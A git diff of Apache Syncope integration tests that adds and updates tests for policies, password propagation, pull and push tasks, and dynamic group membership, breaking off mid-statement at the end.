a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/NotificationTaskITCase.java b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/NotificationTaskITCase.java index 4ec5b72acf7..ea168ef44d5 100644 --- a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/NotificationTaskITCase.java +++ b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/NotificationTaskITCase.java @@ -49,7 +49,7 @@ import org.apache.syncope.fit.core.reference.TestNotificationRecipientsProvider; import org.junit.jupiter.api.Test; -public class NotificationTaskITCase extends AbstractNotificationTaskITCase { +public class NotificationTaskITCase extends AbstractTaskITCase { @Test public void notifyByMail() throws Exception { @@ -109,7 +109,12 @@ public void notifyByMailWithRetry() throws Exception { int preExecs = taskTO.getExecutions().size(); // 4. verify notification could not be delivered - execTask(TASK_SERVICE, TaskType.NOTIFICATION, taskTO.getKey(), NotificationJob.Status.NOT_SENT.name(), 5, + execTask( + TASK_SERVICE, + TaskType.NOTIFICATION, + taskTO.getKey(), + NotificationJob.Status.NOT_SENT.name(), + 5, false); taskTO = TASK_SERVICE.read(TaskType.NOTIFICATION, taskTO.getKey(), true); @@ -273,7 +278,7 @@ public void issueSYNCOPE446() throws Exception { assertNotNull(taskTO); assertNotNull(taskTO.getNotification()); assertTrue(taskTO.getRecipients().containsAll( - new TestNotificationRecipientsProvider().provideRecipients(null))); + new TestNotificationRecipientsProvider().provideRecipients(null, null, null))); execNotificationTask(TASK_SERVICE, taskTO.getKey(), MAX_WAIT_SECONDS); diff --git a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/OIDCJWKSITCase.java b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/OIDCJWKSITCase.java index 39af643cccd..1f5bc32ebe6 100644 --- a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/OIDCJWKSITCase.java +++ b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/OIDCJWKSITCase.java @@ -23,8 +23,6 @@ import static org.junit.jupiter.api.Assumptions.assumeTrue; import javax.ws.rs.core.Response; -import org.apache.syncope.client.lib.AnonymousAuthenticationHandler; -import org.apache.syncope.client.lib.SyncopeClient; import org.apache.syncope.client.lib.SyncopeClientFactoryBean; import org.apache.syncope.common.lib.SyncopeClientException; import org.apache.syncope.common.lib.types.ClientExceptionType; @@ -42,9 +40,7 @@ public class OIDCJWKSITCase extends AbstractITCase { public static void setup() { assumeTrue(CLIENT_FACTORY.getContentType() == SyncopeClientFactoryBean.ContentType.JSON); - SyncopeClient anonymous = CLIENT_FACTORY.create( - new AnonymousAuthenticationHandler(ANONYMOUS_UNAME, ANONYMOUS_KEY)); - WA_OIDC_JWKS_SERVICE = anonymous.getService(OIDCJWKSService.class); + WA_OIDC_JWKS_SERVICE = ANONYMOUS_CLIENT.getService(OIDCJWKSService.class); } @Test diff --git a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/PolicyITCase.java b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/PolicyITCase.java index a16e4e1f479..c3375a112bc 100644 --- a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/PolicyITCase.java +++ b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/PolicyITCase.java @@ -32,7 +32,6 @@ import javax.ws.rs.core.Response; import org.apache.commons.io.IOUtils; import org.apache.commons.lang3.SerializationUtils; -import org.apache.syncope.common.lib.Attr; import org.apache.syncope.common.lib.SyncopeClientException; import org.apache.syncope.common.lib.policy.AccessPolicyTO; import org.apache.syncope.common.lib.policy.AccountPolicyTO; @@ -43,10 +42,12 @@ import org.apache.syncope.common.lib.policy.DefaultAttrReleasePolicyConf; import org.apache.syncope.common.lib.policy.DefaultAuthPolicyConf; import org.apache.syncope.common.lib.policy.DefaultPasswordRuleConf; +import org.apache.syncope.common.lib.policy.DefaultTicketExpirationPolicyConf; import org.apache.syncope.common.lib.policy.PasswordPolicyTO; import org.apache.syncope.common.lib.policy.PropagationPolicyTO; import org.apache.syncope.common.lib.policy.PullPolicyTO; import org.apache.syncope.common.lib.policy.PushPolicyTO; +import org.apache.syncope.common.lib.policy.TicketExpirationPolicyTO; import org.apache.syncope.common.lib.to.ImplementationTO; import org.apache.syncope.common.lib.types.AnyTypeKind; import org.apache.syncope.common.lib.types.BackOffStrategy; @@ -214,6 +215,15 @@ public void create() throws IOException { AccessPolicyTO accessPolicyTO = createPolicy(PolicyType.ACCESS, buildAccessPolicyTO()); assertNotNull(accessPolicyTO); assertEquals("Test Access policy", accessPolicyTO.getName()); + + AttrReleasePolicyTO attrReleasePolicyTO = createPolicy(PolicyType.ATTR_RELEASE, buildAttrReleasePolicyTO()); + assertNotNull(attrReleasePolicyTO); + assertEquals("Test Attribute Release policy", attrReleasePolicyTO.getName()); + + TicketExpirationPolicyTO ticketExpirationPolicyTO = + createPolicy(PolicyType.TICKET_EXPIRATION, buildTicketExpirationPolicyTO()); + assertNotNull(ticketExpirationPolicyTO); + assertEquals("Test Ticket Expiration policy", ticketExpirationPolicyTO.getName()); } @Test @@ -273,9 +283,9 @@ public void updateAccessPolicy() { assertNotNull(newAccessPolicyTO); DefaultAccessPolicyConf accessPolicyConf = (DefaultAccessPolicyConf) newAccessPolicyTO.getConf(); - accessPolicyConf.getRequiredAttrs().add(new Attr.Builder("ou").value("test").build()); - accessPolicyConf.getRequiredAttrs().removeIf(attr -> "cn".equals(attr.getSchema())); - accessPolicyConf.getRequiredAttrs().add(new Attr.Builder("cn").values("admin", "Admin").build()); + accessPolicyConf.getRequiredAttrs().put("ou", "test"); + accessPolicyConf.getRequiredAttrs().remove("cn"); + accessPolicyConf.getRequiredAttrs().put("cn", "admin,Admin"); // update new authentication policy POLICY_SERVICE.update(PolicyType.ACCESS, newAccessPolicyTO); @@ -284,8 +294,8 @@ public void updateAccessPolicy() { accessPolicyConf = (DefaultAccessPolicyConf) newAccessPolicyTO.getConf(); assertEquals(2, accessPolicyConf.getRequiredAttrs().size()); - assertTrue(accessPolicyConf.getRequiredAttrs().stream().anyMatch(attr -> "cn".equals(attr.getSchema()))); - assertTrue(accessPolicyConf.getRequiredAttrs().stream().anyMatch(attr -> "ou".equals(attr.getSchema()))); + assertTrue(accessPolicyConf.getRequiredAttrs().containsKey("cn")); + assertTrue(accessPolicyConf.getRequiredAttrs().containsKey("ou")); } @Test @@ -309,6 +319,24 @@ public void updateAttrReleasePolicy() { assertTrue(policyConf.getIncludeOnlyAttrs().contains("cn")); } + @Test + public void updateTicketExpirationPolicy() { + TicketExpirationPolicyTO newPolicyTO = + createPolicy(PolicyType.TICKET_EXPIRATION, buildTicketExpirationPolicyTO()); + assertNotNull(newPolicyTO); + + DefaultTicketExpirationPolicyConf policyConf = (DefaultTicketExpirationPolicyConf) newPolicyTO.getConf(); + policyConf.getStConf().setNumberOfUses(2); + + // update new policy + POLICY_SERVICE.update(PolicyType.TICKET_EXPIRATION, newPolicyTO); + newPolicyTO = POLICY_SERVICE.read(PolicyType.TICKET_EXPIRATION, newPolicyTO.getKey()); + assertNotNull(newPolicyTO); + + policyConf = (DefaultTicketExpirationPolicyConf) newPolicyTO.getConf(); + assertEquals(2, policyConf.getStConf().getNumberOfUses()); + } + @Test public void delete() throws IOException { PullPolicyTO policy = buildPullPolicyTO(); @@ -350,11 +378,36 @@ public void delete() throws IOException { } catch (SyncopeClientException e) { assertNotNull(e); } + + AttrReleasePolicyTO attrReleasePolicyTO = createPolicy(PolicyType.ATTR_RELEASE, buildAttrReleasePolicyTO()); + assertNotNull(attrReleasePolicyTO); + + POLICY_SERVICE.delete(PolicyType.ATTR_RELEASE, attrReleasePolicyTO.getKey()); + + try { + POLICY_SERVICE.read(PolicyType.ATTR_RELEASE, attrReleasePolicyTO.getKey()); + fail("This should not happen"); + } catch (SyncopeClientException e) { + assertNotNull(e); + } + + TicketExpirationPolicyTO ticketExpirationPolicyTO = + createPolicy(PolicyType.TICKET_EXPIRATION, buildTicketExpirationPolicyTO()); + assertNotNull(ticketExpirationPolicyTO); + + POLICY_SERVICE.delete(PolicyType.TICKET_EXPIRATION, ticketExpirationPolicyTO.getKey()); + + try { + POLICY_SERVICE.read(PolicyType.TICKET_EXPIRATION, ticketExpirationPolicyTO.getKey()); + fail("This should not happen"); + } catch (SyncopeClientException e) { + assertNotNull(e); + } } @Test public void getPullCorrelationRuleJavaClasses() { - Set classes = ADMIN_CLIENT.platform(). + Set classes = ANONYMOUS_CLIENT.platform(). getJavaImplInfo(IdMImplementationType.PULL_CORRELATION_RULE).get().getClasses(); assertEquals(1, classes.size()); assertEquals(DummyPullCorrelationRule.class.getName(), classes.iterator().next()); @@ -362,7 +415,7 @@ public void getPullCorrelationRuleJavaClasses() { @Test public void getPushCorrelationRuleJavaClasses() { - Set classes = ADMIN_CLIENT.platform(). + Set classes = ANONYMOUS_CLIENT.platform(). getJavaImplInfo(IdMImplementationType.PUSH_CORRELATION_RULE).get().getClasses(); assertEquals(1, classes.size()); assertEquals(DummyPushCorrelationRule.class.getName(), classes.iterator().next()); diff --git a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/PropagationTaskITCase.java b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/PropagationTaskITCase.java index 4210840e1d8..f3175cba6e3 100644 --- a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/PropagationTaskITCase.java +++ b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/PropagationTaskITCase.java @@ -103,6 +103,7 @@ import org.identityconnectors.framework.common.objects.Attribute; import org.identityconnectors.framework.common.objects.AttributeUtil; import org.identityconnectors.framework.common.objects.Name; +import org.identityconnectors.framework.common.objects.OperationalAttributes; import org.junit.jupiter.api.BeforeAll; import org.junit.jupiter.api.Test; import org.springframework.dao.DataAccessException; @@ -567,10 +568,8 @@ public void propagationPolicyOptimizeToScriptedDB() { @Test public void issueSYNCOPE741() { for (int i = 0; i < 3; i++) { - TASK_SERVICE.execute(new ExecSpecs.Builder(). - key("1e697572-b896-484c-ae7f-0c8f63fcbc6c").build()); - TASK_SERVICE.execute(new ExecSpecs.Builder(). - key("316285cc-ae52-4ea2-a33b-7355e189ac3f").build()); + TASK_SERVICE.execute(new ExecSpecs.Builder().key("1e697572-b896-484c-ae7f-0c8f63fcbc6c").build()); + TASK_SERVICE.execute(new ExecSpecs.Builder().key("316285cc-ae52-4ea2-a33b-7355e189ac3f").build()); } try { Thread.sleep(3000); @@ -897,8 +896,8 @@ public void issueSYNCOPE1567() { // 1. create user with relationship and the new resource assigned UserCR userCR = UserITCase.getUniqueSample("syncope1567@syncope.apache.org"); - userCR.getRelationships().add(new RelationshipTO.Builder(). - type("neighborhood").otherEnd(PRINTER, "fc6dbc3a-6c07-4965-8781-921e7401a4a5").build()); + userCR.getRelationships().add(new RelationshipTO.Builder("neighborhood"). + otherEnd(PRINTER, "fc6dbc3a-6c07-4965-8781-921e7401a4a5").build()); userCR.getResources().clear(); userCR.getResources().add(ldap.getKey()); @@ -1008,4 +1007,36 @@ public void issueSYNCOPE1605() throws ParseException { } } } + + @Test + public void issueSYNCOPE1751() { + // 1. Create a Group with a resource assigned + GroupTO groupTO = createGroup( + new GroupCR.Builder(SyncopeConstants.ROOT_REALM, "SYNCOPEGROUP1751-" + getUUIDString()). + resource(RESOURCE_NAME_LDAP).build()).getEntity(); + // 2. Create a user + String username = "SYNCOPEUSER1751" + getUUIDString(); + UserTO userTO = createUser( + new UserCR.Builder(SyncopeConstants.ROOT_REALM, username).plainAttrs( + new Attr.Builder("userId").value(username + "@syncope.org").build(), + new Attr.Builder("fullname").value(username).build(), + new Attr.Builder("surname").value(username).build()). + build()).getEntity(); + // 3. Update the user assigning the group previously created -> group-based provisioning + userTO = updateUser( + new UserUR.Builder(userTO.getKey()). + membership(new MembershipUR.Builder(groupTO.getKey()).build()). + build()).getEntity(); + // since the resource is flagged to generate random pwd must populate the password on effective create on the + // resource, even if it is an update on Syncope + PagedResult propTasks = TASK_SERVICE.search(new TaskQuery.Builder(TaskType.PROPAGATION). + resource(RESOURCE_NAME_LDAP).anyTypeKind(AnyTypeKind.USER).entityKey(userTO.getKey()).build()); + assertFalse(propTasks.getResult().isEmpty()); + assertEquals(1, propTasks.getSize()); + PropagationData propagationData = POJOHelper.deserialize( + PropagationTaskTO.class.cast(propTasks.getResult().get(0)).getPropagationData(), + PropagationData.class); + assertTrue(propagationData.getAttributes().stream(). + anyMatch(a -> OperationalAttributes.PASSWORD_NAME.equals(a.getName()))); + } } diff --git a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/PullTaskITCase.java b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/PullTaskITCase.java index 4801eb2af86..879021c09dc 100644 --- a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/PullTaskITCase.java +++ b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/PullTaskITCase.java @@ -28,12 +28,12 @@ import static org.junit.jupiter.api.Assertions.fail; import static org.junit.jupiter.api.Assumptions.assumeFalse; -import java.io.FileInputStream; -import java.io.FileOutputStream; import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; import java.nio.charset.StandardCharsets; +import java.nio.file.Files; +import java.nio.file.Path; import java.time.OffsetDateTime; import java.util.Collections; import java.util.Date; @@ -80,6 +80,7 @@ import org.apache.syncope.common.lib.to.Item; import org.apache.syncope.common.lib.to.MembershipTO; import org.apache.syncope.common.lib.to.PagedResult; +import org.apache.syncope.common.lib.to.PropagationTaskTO; import org.apache.syncope.common.lib.to.Provision; import org.apache.syncope.common.lib.to.ProvisioningResult; import org.apache.syncope.common.lib.to.PullTaskTO; @@ -112,10 +113,13 @@ import org.apache.syncope.common.rest.api.service.ConnectorService; import org.apache.syncope.common.rest.api.service.TaskService; import org.apache.syncope.common.rest.api.service.UserService; +import org.apache.syncope.core.persistence.api.entity.task.PropagationData; +import org.apache.syncope.core.provisioning.api.serialization.POJOHelper; import org.apache.syncope.core.provisioning.java.pushpull.DBPasswordPullActions; import org.apache.syncope.core.provisioning.java.pushpull.LDAPPasswordPullActions; import org.apache.syncope.core.spring.security.Encryptor; import org.apache.syncope.fit.core.reference.TestPullActions; +import org.identityconnectors.framework.common.objects.AttributeUtil; import org.identityconnectors.framework.common.objects.Name; import org.junit.jupiter.api.BeforeAll; import org.junit.jupiter.api.Test; @@ -182,9 +186,14 @@ private static Pair> prepareLdapAttributes( return Pair.of(entryDn, attributes); } + private static void cleanUpRemediations() { + REMEDIATION_SERVICE.list(new RemediationQuery.Builder().page(1).size(100).build()).getResult().forEach( + r -> REMEDIATION_SERVICE.delete(r.getKey())); + } + @Test public void getPullActionsClasses() { - Set actions = ADMIN_CLIENT.platform(). + Set actions = ANONYMOUS_CLIENT.platform(). getJavaImplInfo(IdMImplementationType.PULL_ACTIONS).get().getClasses(); assertNotNull(actions); assertFalse(actions.isEmpty()); @@ -231,35 +240,22 @@ public void create() { @Test public void fromCSV() throws Exception { - assumeFalse(IS_ELASTICSEARCH_ENABLED); + assumeFalse(IS_EXT_SEARCH_ENABLED); removeTestUsers(); // Attemp to reset CSV content Properties props = new Properties(); - InputStream propStream = null; - InputStream srcStream = null; - OutputStream dstStream = null; - try { - propStream = getClass().getResourceAsStream("/test.properties"); + try (InputStream propStream = getClass().getResourceAsStream("/test.properties")) { props.load(propStream); - srcStream = new FileInputStream(props.getProperty("test.csv.src")); - dstStream = new FileOutputStream(props.getProperty("test.csv.dst")); + try (InputStream src = Files.newInputStream(Path.of(props.getProperty("test.csv.src"))); + OutputStream dst = Files.newOutputStream(Path.of(props.getProperty("test.csv.dst")))) { - IOUtils.copy(srcStream, dstStream); - } catch (IOException e) { - fail(e::getMessage); - } finally { - if (propStream != null) { - propStream.close(); - } - if (srcStream != null) { - srcStream.close(); - } - if (dstStream != null) { - dstStream.close(); + src.transferTo(dst); } + } catch (IOException e) { + fail(e.getMessage(), e); } // ----------------------------- @@ -421,6 +417,14 @@ public void reconcileFromLDAP() { PullTaskTO task = TASK_SERVICE.read(TaskType.PULL, "1e419ca4-ea81-4493-a14f-28b90113686d", false); assertEquals(SyncopeConstants.ROOT_REALM, task.getDestinationRealm()); + if (IS_EXT_SEARCH_ENABLED) { + try { + Thread.sleep(2000); + } catch (InterruptedException ex) { + // ignore + } + } + // 2. verify that pulled group is found PagedResult matchingGroups = GROUP_SERVICE.search(new AnyQuery.Builder().realm( SyncopeConstants.ROOT_REALM). @@ -587,6 +591,14 @@ public void reconcileFromScriptedSQL() throws IOException { assertTrue(connObjectTO.getAttr("LOCATION").get().getValues().get(0).startsWith(prefix)); // 3. unlink any existing printer and delete from Syncope (printer is now only on external resource) + if (IS_EXT_SEARCH_ENABLED) { + try { + Thread.sleep(2000); + } catch (InterruptedException ex) { + // ignore + } + } + PagedResult matchingPrinters = ANY_OBJECT_SERVICE.search( new AnyQuery.Builder().realm(SyncopeConstants.ROOT_REALM). fiql(SyncopeClient.getAnyObjectSearchConditionBuilder(PRINTER). @@ -606,7 +618,7 @@ public void reconcileFromScriptedSQL() throws IOException { // 4. pull execProvisioningTask(TASK_SERVICE, TaskType.PULL, pullTask.getKey(), MAX_WAIT_SECONDS, false); - if (IS_ELASTICSEARCH_ENABLED) { + if (IS_EXT_SEARCH_ENABLED) { try { Thread.sleep(2000); } catch (InterruptedException ex) { @@ -616,6 +628,14 @@ public void reconcileFromScriptedSQL() throws IOException { // 5. verify that printer was re-created in Syncope (implies that location does not start with given prefix, // hence PrefixItemTransformer was applied during pull) + if (IS_EXT_SEARCH_ENABLED) { + try { + Thread.sleep(2000); + } catch (InterruptedException ex) { + // ignore + } + } + matchingPrinters = ANY_OBJECT_SERVICE.search(new AnyQuery.Builder().realm(SyncopeConstants.ROOT_REALM). fiql(SyncopeClient.getAnyObjectSearchConditionBuilder(PRINTER). is("location").equalTo("pull*").query()).build()); @@ -640,9 +660,9 @@ public void filteredReconciliation() throws IOException { try { // 1. create 2 users on testpull jdbcTemplate.execute("INSERT INTO testpull VALUES (" - + '\'' + user1OnTestPull + "', 'user1', 'Doe', false, 'mail1@apache.org', NULL)"); + + '\'' + user1OnTestPull + "', 'user1', 'Doe', false, 'mail1@apache.org', 'true', NULL)"); jdbcTemplate.execute("INSERT INTO testpull VALUES (" - + '\'' + user2OnTestPull + "', 'user2', 'Rossi', false, 'mail2@apache.org', NULL)"); + + '\'' + user2OnTestPull + "', 'user2', 'Rossi', false, 'mail2@apache.org', 'true', NULL)"); // 2. create new pull task for test-db, with reconciliation filter (surname 'Rossi') ImplementationTO reconFilterBuilder = new ImplementationTO(); @@ -657,6 +677,7 @@ public void filteredReconciliation() throws IOException { assertNotNull(reconFilterBuilder); task = TASK_SERVICE.read(TaskType.PULL, "7c2242f4-14af-4ab5-af31-cdae23783655", true); + task.setName(getUUIDString()); task.setPullMode(PullMode.FILTERED_RECONCILIATION); task.setReconFilterBuilder(reconFilterBuilder.getKey()); response = TASK_SERVICE.create(TaskType.PULL, task); @@ -743,10 +764,10 @@ public void syncTokenWithErrors() { jdbcTemplate.execute("DELETE FROM testpull"); jdbcTemplate.execute("INSERT INTO testpull VALUES " + "(1040, 'syncTokenWithErrors1', 'Surname1', " - + "false, 'syncTokenWithErrors1@syncope.apache.org', '2014-05-23 13:53:24.293')"); + + "false, 'syncTokenWithErrors1@syncope.apache.org', 'true', '2014-05-23 13:53:24.293')"); jdbcTemplate.execute("INSERT INTO testpull VALUES " + "(1041, 'syncTokenWithErrors2', 'Surname2', " - + "false, 'syncTokenWithErrors1@syncope.apache.org', '2015-05-23 13:53:24.293')"); + + "false, 'syncTokenWithErrors1@syncope.apache.org', 'true', '2015-05-23 13:53:24.293')"); ExecTO exec = execProvisioningTask(TASK_SERVICE, TaskType.PULL, pullTask.getKey(), MAX_WAIT_SECONDS, false); assertEquals(ExecStatus.SUCCESS, ExecStatus.valueOf(exec.getStatus())); @@ -797,6 +818,7 @@ public void remediation() { PullTaskTO pullTask = (PullTaskTO) TASK_SERVICE.search(new TaskQuery.Builder(TaskType.PULL). resource(RESOURCE_NAME_LDAP).build()).getResult().get(0); assertNotNull(pullTask); + pullTask.setName(getUUIDString()); pullTask.setResource(ldap.getKey()); pullTask.setRemediation(true); pullTask.getActions().clear(); @@ -922,11 +944,11 @@ public void concurrentPull() throws NamingException, InterruptedException { SyncopeClient.getUserSearchConditionBuilder().is("username").equalTo("pullFromLDAP_*").query()). page(1).size(0).build()).getTotalCount(); - // 0. first cleanup then create 100 users on LDAP + // 0. first cleanup then create 20 users on LDAP ldapCleanup(); ExecutorService tp = Executors.newFixedThreadPool(10); - for (int i = 0; i < 100; i++) { + for (int i = 0; i < 20; i++) { String idx = StringUtils.leftPad(String.valueOf(i), 2, "0"); tp.submit(() -> { try { @@ -955,9 +977,9 @@ public void concurrentPull() throws NamingException, InterruptedException { pullTask.setDescription("LDAP Concurrent Pull Task"); ThreadPoolSettings tps = new ThreadPoolSettings(); - tps.setCorePoolSize(3); - tps.setMaxPoolSize(3); - tps.setQueueCapacity(100); + tps.setCorePoolSize(1); + tps.setMaxPoolSize(2); + tps.setQueueCapacity(40); pullTask.setConcurrentSettings(tps); Response response = TASK_SERVICE.create(TaskType.PULL, pullTask); @@ -967,7 +989,7 @@ public void concurrentPull() throws NamingException, InterruptedException { try { // 2. run concurrent pull task ExecTO execution = execProvisioningTask( - TASK_SERVICE, TaskType.PULL, pullTaskKey, 5 * MAX_WAIT_SECONDS, false); + TASK_SERVICE, TaskType.PULL, pullTaskKey, 2 * MAX_WAIT_SECONDS, false); // 3. verify execution status assertEquals(ExecStatus.SUCCESS, ExecStatus.valueOf(execution.getStatus())); @@ -975,8 +997,8 @@ public void concurrentPull() throws NamingException, InterruptedException { // 4. verify that the given number of users was effectively pulled result = USER_SERVICE.search(new AnyQuery.Builder().fiql( SyncopeClient.getUserSearchConditionBuilder().is("username").equalTo("pullFromLDAP_*").query()). - page(1).size(200).build()); - assertTrue(result.getTotalCount() >= usersBefore + 100); + page(1).size(100).build()); + assertTrue(result.getTotalCount() > usersBefore); } finally { if (result != null) { BatchRequest batchRequest = ADMIN_CLIENT.batch(); @@ -1062,8 +1084,8 @@ public void issueSYNCOPE230() { String id = "a54b3794-b231-47be-b24a-11e1a42949f6"; // 1. populate the external table - jdbcTemplate.execute("INSERT INTO testpull VALUES" - + "('" + id + "', 'issuesyncope230', 'Surname230', false, 'syncope230@syncope.apache.org', NULL)"); + jdbcTemplate.execute("INSERT INTO testpull VALUES" + "('" + id + + "', 'issuesyncope230', 'Surname230', false, 'syncope230@syncope.apache.org', 'true', NULL)"); // 2. execute PullTask for resource-db-pull (table TESTPULL on external H2) execProvisioningTask( @@ -1092,6 +1114,8 @@ public void issueSYNCOPE230() { @Test public void issueSYNCOPE258() throws IOException { + assumeFalse(IS_EXT_SEARCH_ENABLED); + // ----------------------------- // Add a custom correlation rule // ----------------------------- @@ -1121,7 +1145,7 @@ public void issueSYNCOPE258() throws IOException { PullTaskTO task = new PullTaskTO(); task.setDestinationRealm(SyncopeConstants.ROOT_REALM); - task.setName("Test Pull Rule"); + task.setName(getUUIDString()); task.setActive(true); task.setResource(RESOURCE_NAME_WS2); task.setPullMode(PullMode.FULL_RECONCILIATION); @@ -1191,7 +1215,7 @@ public void issueSYNCOPE272() { @Test public void issueSYNCOPE307() { - assumeFalse(IS_ELASTICSEARCH_ENABLED); + assumeFalse(IS_EXT_SEARCH_ENABLED); UserCR userCR = UserITCase.getUniqueSample("s307@apache.org"); userCR.setUsername("test0"); @@ -1364,7 +1388,7 @@ public void issueSYNCOPE313LDAP() throws Exception { pullTask = new PullTaskTO(); pullTask.setDestinationRealm(SyncopeConstants.ROOT_REALM); - pullTask.setName("LDAP Pull Task"); + pullTask.setName(getUUIDString()); pullTask.setActive(true); pullTask.setPerformCreate(true); pullTask.setPerformUpdate(true); @@ -1387,7 +1411,7 @@ public void issueSYNCOPE313LDAP() throws Exception { fail(e::getMessage); } finally { // Delete PullTask + user + reset the connector - if (pullTask != null) { + if (pullTask != null && pullTask.getKey() != null) { TASK_SERVICE.delete(TaskType.PULL, pullTask.getKey()); } @@ -1577,8 +1601,88 @@ public void issueSYNCOPE1656() throws NamingException { } } - private static void cleanUpRemediations() { - REMEDIATION_SERVICE.list(new RemediationQuery.Builder().page(1).size(100).build()).getResult().forEach( - r -> REMEDIATION_SERVICE.delete(r.getKey())); + @Test + public void issueSYNCOPE1864() throws Exception { + // First of all, clear any potential conflict with existing user / group + ldapCleanup(); + + UserTO user = null; + PullTaskTO pullTask = null; + try { + // 1. create user in LDAP + String oldCleanPassword = "security123"; + UserCR userCR = UserITCase.getUniqueSample("syncope@syncope.apache.org"); + userCR.setPassword(oldCleanPassword); + userCR.getResources().add(RESOURCE_NAME_LDAP); + userCR.getResources().add(RESOURCE_NAME_DBPULL); + user = createUser(userCR).getEntity(); + assertNotNull(user); + assertFalse(user.getResources().isEmpty()); + + // 2. Pull the user from the resource + ImplementationTO pullActions; + try { + pullActions = IMPLEMENTATION_SERVICE.read( + IdMImplementationType.PULL_ACTIONS, "AddResourcePullActions"); + } catch (SyncopeClientException e) { + pullActions = new ImplementationTO(); + pullActions.setKey("AddResourcePullActions"); + pullActions.setEngine(ImplementationEngine.GROOVY); + pullActions.setType(IdMImplementationType.PULL_ACTIONS); + pullActions.setBody(IOUtils.toString( + getClass().getResourceAsStream("/AddResourcePullActions.groovy"), StandardCharsets.UTF_8)); + Response response = IMPLEMENTATION_SERVICE.create(pullActions); + pullActions = IMPLEMENTATION_SERVICE.read( + pullActions.getType(), response.getHeaderString(RESTHeaders.RESOURCE_KEY)); + } + assertNotNull(pullActions); + + pullTask = new PullTaskTO(); + pullTask.setDestinationRealm(SyncopeConstants.ROOT_REALM); + pullTask.setName(getUUIDString()); + pullTask.setActive(true); + pullTask.setPerformCreate(true); + pullTask.setPerformUpdate(true); + pullTask.setPullMode(PullMode.FULL_RECONCILIATION); + pullTask.setResource(RESOURCE_NAME_LDAP); + pullTask.getActions().add(pullActions.getKey()); + Response taskResponse = TASK_SERVICE.create(TaskType.PULL, pullTask); + + pullTask = getObject(taskResponse.getLocation(), TaskService.class, PullTaskTO.class); + assertNotNull(pullTask); + + ExecTO execution = execProvisioningTask( + TASK_SERVICE, TaskType.PULL, pullTask.getKey(), MAX_WAIT_SECONDS, false); + assertEquals(ExecStatus.SUCCESS, ExecStatus.valueOf(execution.getStatus())); + + // 3. Test if password is not present in the propagation task for DB + PagedResult propagationTasks = TASK_SERVICE.search( + new TaskQuery.Builder(TaskType.PROPAGATION). + resource(RESOURCE_NAME_TESTDB2). + anyTypeKind(AnyTypeKind.USER).entityKey(user.getKey()).build()); + assertTrue(propagationTasks.getResult().stream().anyMatch(propagationTask -> { + Set attributes = + POJOHelper.deserialize( + propagationTask.getPropagationData(), PropagationData.class).getAttributes(); + return ResourceOperation.UPDATE.equals(propagationTask.getOperation()) + && AttributeUtil.getPasswordValue(attributes) != null; + })); + + propagationTasks = TASK_SERVICE.search( + new TaskQuery.Builder(TaskType.PROPAGATION). + resource(RESOURCE_NAME_DBPULL). + anyTypeKind(AnyTypeKind.USER).entityKey(user.getKey()).build()); + assertTrue(propagationTasks.getResult().stream().anyMatch(propagationTask -> { + Set attributes = + POJOHelper.deserialize( + propagationTask.getPropagationData(), PropagationData.class).getAttributes(); + return ResourceOperation.UPDATE.equals(propagationTask.getOperation()) + && AttributeUtil.getPasswordValue(attributes) == null; + })); + } finally { + // remove test entities + Optional.ofNullable(pullTask).ifPresent(t -> TASK_SERVICE.delete(TaskType.PULL, t.getKey())); + Optional.ofNullable(user).ifPresent(u -> deleteUser(u.getKey())); + } } } diff --git a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/PushTaskITCase.java b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/PushTaskITCase.java index e60611d83fb..00d7e121c79 100644 --- a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/PushTaskITCase.java +++ b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/PushTaskITCase.java @@ -29,9 +29,11 @@ import java.util.Map; import java.util.Set; import javax.ws.rs.core.Response; +import org.apache.commons.lang3.StringUtils; import org.apache.syncope.client.lib.SyncopeClient; import org.apache.syncope.common.lib.SyncopeConstants; import org.apache.syncope.common.lib.request.GroupCR; +import org.apache.syncope.common.lib.request.GroupUR; import org.apache.syncope.common.lib.to.AnyTypeClassTO; import org.apache.syncope.common.lib.to.ExecTO; import org.apache.syncope.common.lib.to.GroupTO; @@ -70,7 +72,7 @@ public class PushTaskITCase extends AbstractTaskITCase { @Test public void getPushActionsClasses() { - Set actions = ADMIN_CLIENT.platform(). + Set actions = ANONYMOUS_CLIENT.platform(). getJavaImplInfo(IdMImplementationType.PUSH_ACTIONS).get().getClasses(); assertNotNull(actions); } @@ -95,7 +97,7 @@ public void list() { @Test public void createPushTask() { PushTaskTO task = new PushTaskTO(); - task.setName("Test create Push"); + task.setName(getUUIDString()); task.setResource(RESOURCE_NAME_WS2); task.setSourceRealm(SyncopeConstants.ROOT_REALM); task.getFilters().put(AnyTypeKind.USER.name(), @@ -513,4 +515,27 @@ public void issueSYNCOPE648() { NotificationTaskTO taskTO = findNotificationTask(notification.getKey(), 50); assertNotNull(taskTO); } + + @Test + void issueSYNCOPE1918() { + GroupUR groupUR = new GroupUR.Builder("29f96485-729e-4d31-88a1-6fc60e4677f3") + .udynMembershipCond("username=~ros*").adynMembershipCond(PRINTER, "name=~hp*").build(); + GroupTO groupTO = updateGroup(groupUR).getEntity(); + assertTrue(StringUtils.isNotBlank(groupTO.getUDynMembershipCond())); + + execProvisioningTask( + TASK_SERVICE, TaskType.PUSH, "fd905ba5-9d56-4f51-83e2-859096a67b75", MAX_WAIT_SECONDS, false); + + groupTO = 